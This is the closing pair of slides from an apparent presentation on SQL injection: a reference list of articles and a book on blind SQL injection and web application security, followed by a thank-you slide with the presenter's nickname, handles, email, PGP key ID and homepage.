  • 95. References • SQL Injection, Classification of SQL Injection Attacking Vector, till 2010, Wikipedia • www.evilsql.com • Replaying with Blind SQL Injection, Chema Alonso and Palako • Haxxor Security: Speeding up Blind SQL Injection using Conditional errors in MySQL • The Web Application Hackers Handbook, Discovering and Exploiting Security Flaws, Wiley 74
  • 96. Thank you childish wont-let-go nickname: blackthorne blackthorne (geek) bthorne_daily (social) francisco@ironik.org (PGP key: 0xBDD20CF1) http://www.digitalloft.org (homepage) 75